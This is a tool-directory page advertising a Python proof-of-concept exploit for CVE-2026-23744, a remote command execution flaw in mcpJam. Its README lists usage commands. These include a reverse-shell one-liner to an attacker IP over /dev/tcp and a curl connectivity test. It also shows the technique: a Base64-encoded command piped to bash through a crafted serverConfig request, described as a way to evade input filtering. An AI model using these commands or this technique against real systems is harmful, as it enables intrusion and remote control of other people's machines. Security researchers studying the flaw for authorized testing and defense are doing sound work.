Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-23744-poc — cve-2026-23744 python exploit | Kitploit
Tools/GitHubGitHub/keeieb79/cve-2026-23744-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubkeeieb79/cve-2026-23744-poc

CVE-2026-23744-poc

cve-2026-23744 python exploit

View Repository
23 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-23744 — mcpJam Remote Code Execution (RCE) Exploit

A Python 3 proof-of-concept exploit for CVE-2026-23744, an arbitrary command execution vulnerability affecting mcpJam v1.4.2.

This utility automates payload delivery by transparently Base64-encoding commands before transmission, helping bypass restrictive input validation and character filtering mechanisms. The payload is decoded and executed through a /bin/bash wrapper on the target system.


Features

Automatic Base64 Payload Encoding

Commands are automatically encoded prior to transmission, improving reliability when targeting applications that enforce strict input validation or character restrictions.

Flexible Command Execution

Supports arbitrary command execution, including:

  • Reverse shells (sh, bash, nc, etc.)
  • System enumeration
  • Network connectivity testing
  • Custom payload delivery

Verbose Debug Output

Download Tool

Displays:

  • Generated JSON request payloads
  • Raw server responses

This simplifies troubleshooting and exploit validation.

SSL Verification Bypass

Suppresses certificate verification warnings, allowing interaction with targets using self-signed or otherwise untrusted SSL certificates.


Usage

Prerequisites

Install the required dependency:

root@kitploit:~
pip install requests

Syntax

root@kitploit:~
python3 exploit.py <target_url> "<command>"

Examples

Connectivity Test

root@kitploit:~
python3 exploit.py http://devhub.com:6274 "curl http://10.10.14.70:8888"

Reverse Shell

root@kitploit:~
python3 exploit.py http://devhub.com:6274 "sh -i >& /dev/tcp/10.10.14.70/4444 0>&1"

Technical Details

The exploit targets the /api/mcp/connect endpoint by crafting a malicious serverConfig object.

Instead of transmitting commands directly, the payload is transformed into a Base64-encoded string and executed through Bash:

root@kitploit:~
"args": [
    "-c",
    f"echo {base64_payload} | base64 -d | bash"
]

This approach helps evade application-level filtering while ensuring the payload is decoded and executed entirely on the target host.

Execution Flow

  1. User-supplied command is Base64-encoded.
  2. The encoded payload is embedded into the serverConfig request.
  3. The target server decodes the payload using base64 -d.
  4. The decoded command is piped directly into /bin/bash.
  5. The command executes with the privileges of the vulnerable mcpJam process.

Disclaimer

[!WARNING] This project is provided solely for educational purposes, authorized security assessments, and Capture The Flag (CTF) environments.

Unauthorized use against systems for which you do not have explicit permission is illegal and unethical. The author assumes no responsibility for any misuse, damages, or legal consequences resulting from the use of this software.